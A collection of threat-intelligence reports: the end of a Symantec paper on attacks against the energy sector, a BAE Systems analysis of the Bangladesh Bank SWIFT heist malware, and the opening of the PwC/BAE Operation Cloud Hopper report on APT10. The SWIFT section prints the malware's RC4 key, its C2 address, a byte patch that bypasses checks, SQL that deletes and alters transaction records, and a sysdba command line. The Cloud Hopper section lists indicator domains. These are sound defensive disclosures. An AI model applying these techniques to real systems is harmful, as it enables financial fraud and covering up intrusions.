In addition to this, the amount of data sent and the timing can be chosen in a smart way.
For example, some malware samples will send the data in smaller bursts so as not to swamp the network or generate network spikes that might attract attention.
Since most employees use laptops, the malware can use location awareness to detect if the compromised computer is outside of the corporate network and send the data once its directly connected to the Internet, such as from a Wi-Fi hotspot at an airport.
This might allow the traffic to bypass perimeter security and receive less scrutiny.
In some instances the infected computer might not have a direct connection to the Internet.
In such cases, a previously compromised computer in the DMZ can act as a proxy, forwarding all the collected data.
Disruption phase This is when any destructive payload is launched.
If the attackers are only after information this phase might not happen at all.
The targets and the goals for disruption attacks can be very different, there is no such thing as one- size-fits-all for disruption attacks.
For example, Stuxnet was tailored to attack a specific uranium enrichment facility and would not work against a different target.
In recent times, wiper Trojans have been popular in attacks against the energy sector.
The malware deletes all files Figure 9: Typical commands used during discovery phase http://www.symantec.com/security_response/writeup.jsp?docid2013-032014-2531-99 Page 28 Targeted Attacks Against the Energy Sector on a computer and then deletes the master boot record, rendering the computer unusable.
This can happen on any operating systems and we have seen scripts for different UNIX flavors being used as well.
Depending on the disaster recovery plan in place, these computers can be remotely recovered.
However, there may still be an outage while the computers are being restored.
Resources [1] Marco Cova, Corrado Leita, Olivier Thonnard, Angelos D. Keromytis, and Marc Dacier.
An analysis of rogue AV campaigns.
In Proc.
of the 13th International Conference on Recent Advances in Intrusion Detection (RAID), 2010.
[
2] O.Thonnard, M.Dacier.
A Strategic Analysis of Spam Botnets Operations.
CEAS11, Perth, WA, Australia, Sep 2011.
[
3]Jelena Isacenkova, Olivier Thonnard, Andrei Costin, Davide Balzarotti, Aurelien Francillon.
Inside the SCAM Jungle: A Closer Look at 419 Scam Email Operations.
International Workshop on Cyber Crime (IWCC 2013), IEEE SP Workshops, 2013.
[
4]Olivier Thonnard, Leyla Bilge, Gavin OGorman, Sen Kiernan, Martin Lee.
Industrial Espionage and Targeted Attacks: Understanding the Characteristics of an Escalating Threat.
In Proc.
Of the 15th International conference onResearch in Attacks, Intrusions, and Defenses (RAID), 2012.
[
5] Symantec Internet Security Threat Report (ISTR), Volume 17, April 2012.
http://www.symantec.com/threatreport/topic.jsp?idmalicious_code_trendsaidtriage_analysis_of_targeted_attacks About Symantec Symantec protects the worlds information and is the global leader in security, backup, and availability solutions.
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Author Follow us on Twitter threatintel Visit our Blog http://www.symantec.com/connect/symantec-blogs/sr Candid Wueest Principal Software Engineer go.symantec.com/socialmedia http://www.symantec.com https://twitter.com/threatintel http://www.symantec.com/connect/symantec-blogs/sr OVERVIEW Introduction Exposed systems: Online and offline Smart grid: A new potential avenue of attack History of discovered attacks 2013 2008 2003 2001 2000 Stuxnet Night Dragon Shamoon/Disttrack Spear phishing attacks in the energy sector New Years campaign Greek oil campaign Motivation and origin Protection and mitigation Conclusion Appendix A.
Spear phishing B. Visualization with TRIAGE C. Phases of targeted attacks Resources
Two bytes to 951m baesystemsai.blogspot.co.uk /2016/04/two-bytes-to-951m.html In February 2016 one of the largest cyber heists was committed and subsequently disclosed.
An unknown attacker gained access to the Bangladesh Banks (BB) SWIFT payment system and reportedly instructed an American bank to transfer money from BBs account to accounts in The Philippines.
The attackers attempted to steal 951m, of which 81m is still unaccounted for.
The technical details of the attack have yet to be made public, however weve recently identified tools uploaded to online malware repositories that we believe are linked to the heist.
The custom malware was submitted by a user in Bangladesh, and contains sophisticated functionality for interacting with local SWIFT Alliance Access software running in the victim infrastructure.
This malware appears to be just part of a wider attack toolkit, and would have been used to cover the attackers tracks as they sent forged payment instructions to make the transfers.
This would have hampered the detection and response to the attack, giving more time for the subsequent money laundering to take place.
The tools are highly configurable and given the correct access could feasibly be used for similar attacks in the future.
Malware samples SHA1 Compile time Size (bytes) Filename 525a8e3ae4e3df8c9c61f2a49e38541d196e9228 2016-02-05 11:46:20 65,536 evtdiag.exe 76bab478dcc70f979ce62cd306e9ba50ee84e37e 2016-02-04 13:45:39 16,384 evtsys.exe 70bf16597e375ad691f2c1efa194dbe7f60e4eeb 2016-02-05 08:55:19 24,576 nroff_b.exe 6207b92842b28a438330a2bf0ee8dcab7ef0a163 N/A 33,848 gpca.dat We believe all files were created by the same actor(s), but the main focus of the report will be on 525a8e3ae4e3df8c9c61f2a49e38541d196e9228 as this is the component that contains logic for interacting with the SWIFT software.
The malware registers itself as a service and operates within an environment running SWIFTs Alliance software suite, powered by an Oracle Database.
1/7 http://baesystemsai.blogspot.co.uk/2016/04/two-bytes-to-951m.html https://2.bp.blogspot.com/-kJg8o7lYHzw/VxhMl1qBCrI/AAAAAAAAAfA/n-UurII8q2EyyaUlYMwvgNjVdWA4iK7OgCLcB/s1600/scheme1.png https://3.bp.blogspot.com/-w3cx94Zfs_s/VxhMqCGgoxI/AAAAAAAAAfE/xdWhmcRfJt0l82U4EcLqjfuGrh3kphbOACLcB/s1600/scheme2.png https://3.bp.blogspot.com/-is0sbEHimJ4/VxhMveJsbSI/AAAAAAAAAfI/ARybq6yJS9UpLznMq16C05by0HDYMICbwCLcB/s1600/hp_printer.png The main purpose is to inspect SWIFT messages for strings defined in the configuration file.
From these messages, the malware can extract fields such as transfer references and SWIFT addresses to interact with the system database.
These details are then used to delete specific transactions, or update transaction amounts appearing in balance reporting messages based on the amount of Convertible Currency available in specific accounts.
This functionality runs in a loop until 6am on 6th February 2016.
This is significant given the transfers are believed to have occurred in the two days prior to this date.
The tool was custom made for this job, and shows a significant level of knowledge of SWIFT Alliance Access software as well as good malware coding skills.
Malware config and logging When run, the malware decrypts the contents of its configuration file, using the RC4 key: 4e 38 1f a7 7f 08 cc aa 0d 56 ed ef f9 ed 08 ef This configuration is located in the following directory on the victim device: [ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\gpca.dat The configuration file contains a list of transaction IDs, some additional environment information, and the following IP address to be used for command-and-control (CC): 196.202.103.174 The sample also uses the following file for logging: [ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\recas.dat Module patching 2/7 The malware enumerates all processes, and if a process has the module liboradb.dll loaded in it, it will patch 2 bytes in its memory at a specific offset.
The patch will replace 2 bytes 0x75 and 0x04 with the bytes 0x90 and 0x90.
These two bytes are the JNZ opcode, briefly explained as if the result of the previous comparison operation is not zero, then jump into the address that follows this instruction, plus 4 bytes.
Essentially, this opcode is a conditional jump instruction that follows some important check, such as a key validity check or authorisation success check.
The patch will replace this 2-byte conditional jump with 2 do-nothing (NOP) instructions, effectively forcing the host application to believe that the failed check has in fact succeeded.
For example, the original code could look like: 85 C0             test eax, eax  some important check 75 04             jnz  failed    if failed, jump to failed label below 33 c0             xor  eax, eax  otherwise, set result to 0 (success) eb 17             jmp  exit      and then exit failed: B8 01 00 00 00    mov  eax, 1    set result to 1 (failure) Once its patched, it would look like: 85 C0             test eax, eax  some important check 90                nop            do nothing in place of 0x75 90                nop            do nothing in place of 0x04 33 c0             xor  eax, eax  always set result to 0 (success) eb 17             jmp  exit      and then exit failed: B8 01 00 00 00    mov  eax, 1    never reached: set result to 1 (fail) As a result, the important check result will be ignored, and the code will never jump to failed.
Instead, it will proceed into setting result to 0 (success).
The liboradb.dll module belongs to SWIFTs Alliance software suite, powered by Oracle Database, and is responsible for: 3/7 Reading the Alliance database path from the registry Starting the database Performing database backup  restore functions.
By modifying the local instance of SWIFT Alliance Access software, the malware grants itself the ability to execute database transactions within the victim network.
SWIFT message monitoring The malware monitors SWIFT Financial Application (FIN) messages, by parsing the contents of the files .prc and .fal located within the directories: [ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\mcm\in\ [ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\mcm\out\ It parses the messages, looking for strings defined in gpca.dat.
We expect these will be unique identifiers that identify malicious transactions initiated by the attackers.
If present, it then attempts to extract a MESG_TRN_REF and MESG_SENDER_SWIFT_ADDRESS from that same message by looking for the following hard coded strings: FIN 900 Confirmation of Debit 20: Transaction Sender : [additional filters from the decrypted configuration file gpca.dat] The malware will use this extracted data to form valid SQL statements.
It attempts to retrieve the SWIFT unique message ID (MESG_S_UMID) that corresponds to the transfer reference and sender address retrieved earlier: SELECT MESG_S_UMID FROM SAAOWNER.MESG_s WHERE MESG_SENDER_SWIFT_ADDRESS LIKE s AND MESG_TRN_REF LIKE s The MESG_S_UMID is then passed to DELETE statements, deleting the transaction from the local database.
DELETE FROM SAAOWNER.MESG_s WHERE MESG_S_UMID s DELETE FROM SAAOWNER.TEXT_s WHERE TEXT_S_UMID s The SQL statements are dropped into a temporary file with the SQL prefix.
The SQL statements are prepended with the following prefixed statements: set heading off set linesize 32567 SET FEEDBACK OFF SET ECHO OFF SET FEED OFF SET VERIFY OFF Once the temporary file with the SQL statements is constructed, it is executed from a shell script with sysdba 4/7 permissions.
An example is shown below: cmd.exe /c echo exit  sqlplus -S / as sysdba [SQL_Statements] [OUTPUT_FILE] Login monitoring After start up the malware falls into a loop where it constantly checks for the journal record that contains the Login string in it: SELECT  FROM (SELECT JRNL_DISPLAY_TEXT, JRNL_DATE_TIME FROM SAAOWNER.JRNL_s WHERE JRNL_DISPLAY_TEXT LIKE LT BBHOBDDHA: Log ORDER BY JRNL_DATE_TIME DESC) A WHERE ROWNUM  1 NOTE: BBHOBDDH is the SWIFT code for the Bangladesh Bank in Dhaka.
If it fails to find the Login record, it falls asleep for 5 seconds and then tries again.
Once the Login record is found, the malware sends a GET request to the remote CC.
The GET request has the format: [CC_server]/al?
[
data] The malware notifies the remote CC each hour of events, sending ---O if the Login (open) event occurred, ---C in case Logout (close) event occurred, or ---N if neither of the events occurred, e.g.
: [CC_server]/al?--- O Manipulating balances The malware monitors all SWIFT messages found in: [ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\mcp\in\.
[ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\mcp\out\.
[ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\mcp\unk\.
[ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\mcs\nfzp [ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\mcs\nfzf [ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\mcs\fofp [ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\mcs\foff The messages are parsed looking for information tagged with the following strings: 5/7 19A: Amount : Debit Debit/Credit : Sender : Amount : FEDERAL RESERVE BANK D C 62F: 60F: 60M: 62M: Credit Debit 64: 20: Transaction 90B: Price For example, the 62F: field specifies the closing balance, 60F: is opening balance, 19A: is transaction amount.
The malware also checks if the messages contain a filter specified within the configuration file gpca.dat.
The logged in account, as seen from the journal, is then used to check how much Convertible Currency amount ( MESG_FIN_CCY_AMOUNT) it has available: SELECT MESG_FIN_CCY_AMOUNT FROM SAAOWNER.MESG_s WHERE MESG_S_UMID s Alternatively, it can query for a message for a specified sender with a specified amount of Convertible Currency: SELECT MESG_S_UMID FROM SAAOWNER.MESG_s WHERE MESG_SENDER_SWIFT_ADDRESS LIKE s AND MESG_FIN_CCY_AMOUNT LIKE s The amount of Convertible Currency is then manipulated in the message by changing it to the arbitrary value ( SET MESG_FIN_CCY_AMOUNT ): UPDATE SAAOWNER.MESG_s SET MESG_FIN_CCY_AMOUNT  s WHERE MESG_S_UMID  s UPDATE SAAOWNER.TEXT_s SET TEXT_DATA_BLOCK  UTL_RAW.CAST_TO_VARCHAR2(s) WHERE TEXT_S_UMID  s Printer manipulation In order to hide the fraudulent transactions carried out by the attacker(s), the database/message manipulations are not sufficient.
SWIFT network also generates confirmation messages, and these messages are sent by the software for printing.
If the fraudulent transaction confirmations are printed out, the banking officials can spot an anomaly and then respond appropriately to stop such transactions from happening.
Hence, the malware also intercepts the confirmation SWIFT messages and then sends for printing the doctored (manipulated) copies of such messages in order to cover up the fraudulent transactions.
6/7 To achieve that, the SWIFT messages the malware locates are read, parsed, and converted into PRT files that describe the text in Printer Command Language (PCL).
These temporary PRT files are then submitted for printing by using another executable file called nroff.exe, a legitimate tool from the SWIFT software suite.
The PCL language used specifies the printer model, which is HP LaserJet 400 M401: Once sent for printing, the PRT files are then overwritten with 0s (reliably deleted).
CONCLUSIONS The analysed sample allows a glimpse into the toolkit of one of the team in well-planned bank heist.
Many pieces of the puzzle are still missing though: how the attackers sent the fraudulent transfers how the malware was implanted and crucially, who was behind this.
This malware was written bespoke for attacking a specific victim infrastructure, but the general tools, techniques and procedures used in the attack may allow the gang to strike again.
All financial institutions who run SWIFT Alliance Access and similar systems should be seriously reviewing their security now to make sure they too are not exposed.
This attacker put significant effort into deleting evidence of their activities, subverting normal business processes to remain undetected and hampering the response from the victim.
The wider lesson learned here may be that criminals are conducting more and more sophisticated attacks against victim organisations, particularly in the area of network intrusions (which has traditionally been the domain of the APT actor).
As the threat evolves, businesses and other network owners need to ensure they are prepared to keep up with the evolving challenge of securing critical systems.
7/7 Two bytes to 951m Malware samples Malware config and logging Module patching SWIFT message monitoring Login monitoring Manipulating balances Printer manipulation CONCLUSIONS
Operation Cloud Hopper www.pwc.co.uk/cyber Exposing a systematic hacking operation with an unprecedented web of global victims April 2017 In collaboration with 2 Operation Cloud Hopper Contents Foreword 3 Executive summary 4 APT10 as a China-based threat actor 5 Motivations behind APT10s targeting 14 Shining a light on APT10s methodology 16 Conclusion 20 Appendices 21 3Operation Cloud Hopper Foreword This report is an initial public release of research PwC UK and BAE Systems have conducted into new, sustained global campaigns by an established threat actor against managed IT service providers and their clients as well as several directly targeted organisations in Japan.
Given the scale of those campaigns, the activity identified here is likely to reflect just a small portion of the threat actors operations.
This report is primarily fact-based.
Where we have made an assessment this has been made clear by phraseology such as we assess, and the use of estimative language as outlined in Appendix A.
By publicly releasing this research, PwC UK and BAE Systems hope to facilitate broad awareness of the attack techniques used so that prevention and detection capabilities can be configured accordingly.
It is also hoped that rapid progress can be made within the broader security community to further develop the understanding of the campaign techniques we outline, leading to additional public reports from peers across the security community.
As a part of our research and reporting effort, PwC UK and BAE Systems have collaborated with the UKs National Cyber Security Centre (NCSC) under its Certified Incident Response (CIR) scheme to engage and notify managed IT service providers, known affected organisations and other national bodies.
Supplementary to this report, an Annex containing our technical analysis will be released.
4 Operation Cloud Hopper Executive summary Since late 2016, PwC UK and BAE Systems have been assisting victims of a new cyber espionage campaign conducted by a China-based threat actor.
We assess this threat actor to almost certainly be the same as the threat actor widely known within the security community as APT10.
The campaign, which we refer to as Operation Cloud Hopper, has targeted managed IT service providers (MSPs), allowing APT10 unprecedented potential access to the intellectual property and sensitive data of those MSPs and their clients globally.
A number of Japanese organisations have also been directly targeted in a separate, simultaneous campaign by the same actor.
We have identified a number of key findings that are detailed below.
APT10 has recently unleashed a sustained campaign against MSPs.
The compromise of MSP networks has provided broad and unprecedented access to MSP customer networks.
Multiple MSPs were almost certainly being targeted from 2016 onwards, and it is likely that APT10 had already begun to do so from as early as 2014.
MSP infrastructure has been used as part of a complex web of exfiltration routes spanning multiple victim networks.
APT10 has significantly increased its scale and capability since early 2016, including the addition of new custom tools.
APT10 ceased its use of the Poison Ivy malware family after a 2013 FireEye report, which comprehensively detailed the malwares functionality and features, and its use by several China-based threat actors, including APT10.
APT10 primarily used PlugX malware from 2014 to 2016, progressively improving and deploying newer versions, while simultaneously standardising their command and control function.
We have observed a shift towards the use of bespoke malware as well as open-source tools, which have been customised to improve their functionality.
This is highly likely to be indicative of an increase in sophistication.
Infrastructure observed in APT10s most recent campaigns links to previous activities undertaken by the threat actor.
The command and control infrastructure used for Operation Cloud Hopper is predominantly dynamic-DNS domains, which are highly interconnected and link to the threat actors previous operations.
The number of dynamic-DNS domains in use by the threat actor has significantly increased since 2016, representative of an increase in operational tempo.
Some top level domains used in the direct targeting of Japanese entities share common IP address space with the network of dynamic-DNS domains that we associate with Operation Cloud Hopper.
APT10 focuses on espionage activity, targeting intellectual property and other sensitive data.
APT10 is known to have exfiltrated a high volume of data from multiple victims, exploiting compromised MSP networks, and those of their customers, to stealthily move this data around the world.
The targeted nature of the exfiltration we have observed, along with the volume of the data, is reminiscent of the previous era of APT campaigns pre-2013.
PwC UK and BAE Systems assess APT10 as highly likely to be a China-based threat actor.
It is a widely held view within the cyber security community that APT10 is a China-based threat actor.
Our analysis of the compile times of malware binaries, the registration times of domains attributed to APT10, and the majority of its intrusion activity indicates a pattern of work in line with China Standard Time (UTC8).
The threat actors targeting of diplomatic and political organisations in response to geopolitical tensions, as well as the targeting of specific commercial enterprises, is closely aligned with strategic Chinese interests.
5Operation Cloud Hopper APT10 as a China-based threat actor APT10 as a China-based threat actor 1 The defence industrial base comprises the US Department of Defense and a plethora of companies that support the design, development and maintenance of defence assets and enable US military requirements to be met.
https://www.dhs.gov/defense-industrial-base-sector 2 https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf 3 http://blog.trendmicro.com/trendlabs-security-intelligence/evilgrab-malware-family-used-in-targeted-attacks-in-asia/ PwC UK and BAE Systems assess it is highly likely that APT10 is a China-based threat actor with a focus on espionage and wide ranging information collection.
It has been in operation since at least 2009, and has evolved its targeting from an early focus on the US defence industrial base (DIB)1 and the technology and telecommunications sector, to a widespread compromise of multiple industries and sectors across the globe, most recently with a focus on MSPs.
APT10, a name originally coined by FireEye, is also referred to as Red Apollo by PwC UK, CVNX by BAE Systems, Stone Panda by CrowdStrike, and menuPass Team more broadly in the public domain.
The threat actor has previously been the subject of a range of open source reporting, including most notably a report by FireEye comprehensively detailing the threat actors use of the Poison Ivy malware family2 and blog posts by Trend Micro3 similarly detailing the use of EvilGrab malware.
Alongside the research and ongoing tracking of APT10 by both PwC UK and BAEs Threat Intelligence teams, PwC UKs Incident Response team has been engaged in supporting investigations linked to APT10 compromises.
This research has contributed to the assessments and conclusions we have drawn regarding the recent campaign activity by APT10, which represents a shift from previous activities linked to the threat actor.
As a result of our analysis of APT10s activities, we believe that it almost certainly benefits from significant staffing and logistical resources, which have increased over the last three years, with a significant step-change in 2016.
Due to the scale of the threat actors operations throughout 2016 and 2017, we similarly assess it currently comprises multiple teams, each responsible for a different section of the day-to-day operations, namely domain registration, infrastructure management, malware development, target operations, and analysis.
APT10 withdrew from direct targeting using Poison Ivy in 2013 and conducted its first known retooling operation, upgrading its capabilities and replatforming to use PlugX.
It is highly likely that this is due to the release of the 2013 FireEye report.
Our report will detail the most recent campaigns conducted by APT10, including the sustained targeting of MSPs, which we have named Operation Cloud Hopper, and the targeting of a number of Japanese institutions.
6 Operation Cloud Hopper Time-based analysis of APT10s operations 4 The bubbles shown on Figures 1 through 6 are representative of the number of events observed at that time and date.
As part of our analysis, we have made a number of observations about APT10 and its profile, which supports our assessment that APT10 is a China-based threat actor.
For example, we have identified patterns within the domain registrations and file compilation times associated with APT10 activity.
This is almost certainly indicative of a threat actor based in the UTC8 time zone, which aligns to Chinese Standard Time (CST).
Shown in Figure 1 are registration times4, represented in UTC, for known APT10 top level domains since mid-2016, which mark a major uptick in APT10 activity.
Mapping this to UTC8, as in Figure 2, shows a standard set of Chinese business hours, including a two-hour midday break.
Further analysis of the compile times of PlugX, RedLeaves and Quasar malware samples used by APT10 reveals a similar pattern in working hours, as shown in Figure 3.
Shifting this to UTC8 shows a similar timeframe of operation to the domain registrations.
There are some outliers, which are likely attributable to the operational nature of this threat actor, such as requirements to work outside normal business hours.
00:00 02:00 04:00 06:00 08:00 10:00 12:00 14:00 16:00 18:00 20:00 22:00 01:00 03:00 05:00 07:00 09:00 11:00 13:00 15:00 17:00 19:00 21:00 23:00 Jul 2017 Jan 2017 Jan 2016 Jan 2015 Jan 2014 Jul 2015 Jul 2015 Jul 2014 Jul 2013 Time of Day (UTC) D at e (d ay s) Figure 3: Compile times of PlugX, RedLeaves and Quasar in UTC 00:00 02:00 04:00 06:00 08:00 10:00 12:00 14:00 16:00 18:00 20:00 22:00 01:00 03:00 05:00 07:00 09:00 11:00 13:00 15:00 17:00 19:00 21:00 23:00 Apr 2017 Mar 2017 Jan 2017 Nov 2016 Sep 2016 Feb 2017 Dec 2016 Oct 2016 Aug 2016 Time of Day (UTC8) D at e (d ay s) Figure 2: APT10 domain registration times in UTC8 00:00 02:00 04:00 06:00 08:00 10:00 12:00 14:00 16:00 18:00 20:00 22:00 01:00 03:00 05:00 07:00 09:00 11:00 13:00 15:00 17:00 19:00 21:00 23:00 Apr 2017 Mar 2017 Jan 2017 Nov 2016 Sep 2016 Feb 2017 Dec 2016 Oct 2016 Aug 2016 Time of Day (UTC) D at e (d ay s) Figure 1: APT10 domain registration times in UTC 00:00 02:00 04:00 06:00 08:00 10:00 12:00 14:00 16:00 18:00 20:00 22:00 01:00 03:00 05:00 07:00 09:00 11:00 13:00 15:00 17:00 19:00 21:00 23:00 Time of Day (UTC8) D at e (d ay s) Jul 2017 Jan 2017 Jan 2016 Jan 2015 Jan 2014 Jul 2015 Jul 2015 Jul 2014 Jul 2013 Figure 4: Compile times of PlugX, RedLeaves and Quasar in UTC8 7Operation Cloud Hopper To further this analysis, we have observed the threat actor conducting interactive activities primarily between the hours of midnight and 10:00 UTC, as shown in Figure 7.
When converting this to UTC8 we again see a shift to Chinese business hours, with operations occurring between 08:00 and 19:00.
It is a realistic probability that the weekend work observed in Figure 7 may be necessary as part of operational requirements.
The sum of this analysis aligns with the evidence provided by the United States Department of Justice indictment against several individuals associated with APT1,5 another China- based threat actor, showing a working day starting at 08:00 UTC8 and finishing at 18:00 UTC8 with a two hour lunch break from 12:00 UTC8 until 14:00 UTC8.
5 https://www.justice.gov/iso/opa/resources/5122014519132358461949.pdf 00:00 02:00 04:00 06:00 08:00 10:00 12:00 14:00 16:00 18:00 20:00 22:00 01:00 03:00 05:00 07:00 09:00 11:00 13:00 15:00 17:00 19:00 21:00 23:00 Dec 15, 2016 Dec 1, 2016 Nov 17, 2016 Nov 3, 2016 Oct 20, 2016 Oct 6, 2016 Sep 22, 2016 Time of Day (UTC8) D at e (d ay s) Figure 6: Compile time of ChChes in UTC8 00:00 02:00 04:00 06:00 08:00 10:00 12:00 14:00 16:00 18:00 20:00 22:00 01:00 03:00 05:00 07:00 09:00 11:00 13:00 15:00 17:00 19:00 21:00 23:00 Dec 15, 2016 Dec 1, 2016 Nov 17, 2016 Nov 3, 2016 Oct 20, 2016 Oct 6, 2016 Sep 22, 2016 Time of Day (UTC) D at e (d ay s) Figure 5: Compile time of ChChes in UTC When applying the time shift to the ChChes malware (newly used by APT10) compilation timestamps, we see a different pattern as shown in Figure 5.
While this does not align with Chinese business hours, it is likely to be either a result of the threat actor changing its risk profile by attempting to obscure or confuse attribution or a developers side project that has ended up being used on targeted operations.
Based on other technical overlaps, ChChes is highly likely to be exclusively used by APT10.
23 :0 0 01 :0 0 02:00 03:00 04:00 05:00 06:00 07:0008:0009:00 10:00 11:00 12:00 13:00 14:00 15:00 16:00 17:00 18:00 19:00 20:00 21 :0 0 22 :0 0 00 :0 0 Mon Tue Wed Thur Fri Sat Sun Figure 7: Operational times of APT10 in UTC8 Number of events 0 1-10 11-20 21-30 31-40 41-50 50 8 Operation Cloud Hopper Identifying a change in APT10s targeting APT10 has, in the past, primarily been known for its targeting of government and US defence industrial base organisations, with the earliest known date of its activity being in December 2009.
Our research and observations suggest that this targeting continues to date.
During the 2013  2014 period there was a general downturn in the threat actors activities, as was also seen with other related groups.
It was widely assessed that this was due to the public release of information surrounding APT1, which exposed its toolset and infrastructure.
From our analysis and investigations, we have identified APT10 as actively operating at least two specific campaigns, one targeting MSPs and their clients, and one directly targeting Japanese entities.
MSP focused campaign APT10 has almost certainly been undertaking a global operation of unprecedented size and scale targeting a number of MSPs.
APT10 has vastly increased the scale and scope of its targeting to include multiple sectors, which has likely been facilitated by its compromise of MSPs.
Such providers are responsible for the remote management of customer IT and end-user systems, thus they generally have unfettered and direct access to their clients networks.
They may also store significant quantities of customer data on their own internal infrastructure.
MSPs therefore represent a high-payoff target for espionage- focused threat actors such as APT10.
Given the level of client network access MSPs have, once APT10 has gained access to a MSP, it is likely to be relatively straightforward to exploit this and move laterally onto the networks of potentially thousands of other victims.
This, in turn, would provide access to a larger amount of intellectual property and sensitive data.
APT10 has been observed to exfiltrate stolen intellectual property via the MSPs, hence evading local network defences.
6 https://security.googleblog.com/2011/08/update-on-attempted-man-in-middle.html 7 https://krebsonsecurity.com/2014/02/target-hackers-broke-in-via-hvac-company/ 8 https://www.fireeye.com/blog/threat-research/2014/03/a-detailed-examination-of-the-siesta-campaign.html Other threat actors have previously been observed using a similar method of a supply chain attack, for example, in the compromise of Dutch certificate authority Diginotar in 20116 and the compromise of US retailer Target in 2013.7 The command and control (C2) infrastructure chosen by APT10 for Operation Cloud Hopper is predominantly referenced using dynamic-DNS domains.
The various domains are highly-interconnected through shared IP address hosting, even linking back historically to the threat actors much older operations.
At present, the indicators detailing APT10s operations number into the thousands and cannot be easily visualised.
The graph in Figure 8 overleaf depicts a high-level view of the infrastructure used by APT10 throughout 2016.
As the campaign has progressed into 2017, the number of dynamic- DNS domains in use by the threat actor has significantly increased.
The graph in Figure 9, also shown overleaf, extracts one node of the newer C2 from the infrastructure shown in Figure 8 and maps this to the older infrastructure of APT10, as disclosed by FireEye in their 2014 Siesta  Campaign blog post8.
In terms of timing, it is highly likely that a single party is responsible for all of these domains, based on our observations of infrastructure overlap.
Through our investigations, we have identified multiple victims who have been infiltrated by the threat actor.
Several of these provide enterprise services or cloud hosting, supporting our assessment that APT10 are almost certainly targeting MSPs.
We believe that the observed targeting of MSPs is part of a widescale supply-chain attack.
9Operation Cloud Hopper Figure 8: High-level view of infrastructure used by APT10 throughout 2016 Figure 9: Infrastructure graph linking early Plugx domains to recent APT10 domains 10 Operation Cloud Hopper Countries targeted B usiness and Professional S er vi ce s Energy and Mining Metals Pharm aceuticals and Life S ci en ce Public sector Retail and Consumer Technology Industrial manufacturin g Engineering and Constru ct io n Sectors targeted India Brazil USA Canada JapanSouth Korea AustraliaSouth Africa Finland Sweden Norway SwitzerlandFrance Thailand UK 11Operation Cloud Hopper Japan focused campaign 9 http://thediplomat.com/2016/04/japans-achilles-heel-cybersecurity/ In a separate series of operations, APT10 has been systematically targeting Japanese organisations using bespoke malware referred to in the public domain as ChChes.
While linked to APT10, via shared infrastructure, this campaign exhibits some operational differences suggesting a potential sub-division within the threat actor.
These operations have seen APT10 masquerading as legitimate Japanese public sector entities (such as the Ministry of Foreign Affairs, Japan International Cooperation Agency and the Liberal Democratic Party of Japan) to gain access to the victim organisations.
Targeting of these entities by APT10 is consistent with previous targeting by China-based threat actors of a wide range of industries and sectors in Japan.
This includes the targeting of commercial companies, and government agencies, both of which has resulted in the exfiltration of large amounts of data.9 APT10s standard compromise methodology begins with a spear phishing email sent to the target, usually with an executable attachment designed to lure the victim to open it.
Analysis of the filenames associated with some of the latest APT10 malware samples, particularly from late 2016, highlights the use of Japanese language filenames which clearly indicates a campaign targeting Japanese-speaking individuals.
Further analysis of these files can be found in Annex B.
Table 1 shows some example file names being used by APT10 in this campaign.
Table 1: Japanese language filenames used by APT10 Japanese Filename Translation 1102()._exe 1102 Mainich Newspaper (answer)._exe 2016A41025.exe 2016 Prefectural University Symposium A4_1025.exe (28.11.07).exe Business contact invitation (28.11.07).exe .exe Regarding provision of Individual number.exe e Japan-US expansion deterrence conference (e) .exe Foundation of Russian historical association and Composing a unity state history textbook.exe The following is an example of a malicious decoy document referencing Mitsubishi Heavy Industries: Figure 10: Decoy document based on press release from Japanese firm Mitsubishi Heavy Industries detailing the unveiling of their new ABLASER-DUV (Deep Ultraviolet Laser) 12 Operation Cloud Hopper A notable tactic of this APT10 subset is to register C2 domains that closely resemble legitimate Japanese organisations.
Table 2 shows a selection of the spoofed domains registered, alongside the email addresses listed at registration and the legitimate impersonated domains.
Table 2: Domains observed being impersonated by APT10 Domain Imitating Theme Description bdoncloud[.
]com Unknown Cloud Generic Cloud theme cloud-kingl[.
]com cloud-maste[.
]com incloud-go[.
]com incloud-obert[.
]com catholicmmb[.
]com cmmb.org Religion Catholic Medical Mission Board ccfchrist[.
]com ccf.org.ph Christs Commission Fellowship  based in Philippines cwiinatonal[.
]com cwi.org.uk Christian Witnesses to Israel usffunicef[.
]com unicefusa.org Charity United States Fund For Unicef salvaiona[.
]com salvationarmy.org The Salvation Army meiji-ac-jp[.
]com meiji.ac.jp Japan / Academic Meiji University in Japan u-tokyo-ac-jp[.
]com u-tokyo.ac.jp Tokyo University in Japan jica-go-jp[.
]bike jica.go.jp Japan / Public Sector Japan International Cooperation Agency jica-go-jp[.
]biz jica.go.jp Japan International Cooperation Agency jimin-jp[.
]biz jimin.jp Liberal Democratic Party of Japan mofa-go-jp[.
]com mofa.go.jp Ministry of Foreign Affairs The top level C2 domains observed in this campaign share a number of features that can be used to further identify affiliated nodes.
Table 3 displaying registrant information can be seen below: Table 3: Known APT10 registration details showing a common name server Domain Registrant email Name Server Contact Name Contact Street belowto[.
]com robertoriveraindia.com ns1.ititch.com Roberto Rivera 904 Peck Street Manchester, NH 03103 ccfchrist[.
]com wenonatmcmurrayindia.com ns1.ititch.com Wenona McMurray 824 Ocala Street Winter Park, FL 32789 cloud-maste[.]
com meganfdelgadoindia.com ns1.ititch.com Megan Delgado 3328 Sigley Road Burlingame, KS 66413 poulsenv[.
]com abellonav.poulsenyandex.com ns1.ititch.com Abellona Poulsen 2187 Findley Avenue Carrington, ND 58421 unhamj[.
]com juanitardunhamindia.com ns1.ititch.com Juanita Dunham 745 Melody Lane Richmond, VA 23219 wthelpdesk[.
]com armandovalcalaindia.com ns1.ititch.com Armando Alcala 608 Irish Lane Madison, WI 53718 13Operation Cloud Hopper None of the domains share identical contact information other than stating that the respective registrants are based in the US.
The contact streets, organisations, and names are all distinct between domains.
Some of the domains, that do resolve, share common IP address space with the network of dynamic-DNS domains that we associate with Operation Cloud Hopper as detailed earlier in the report.
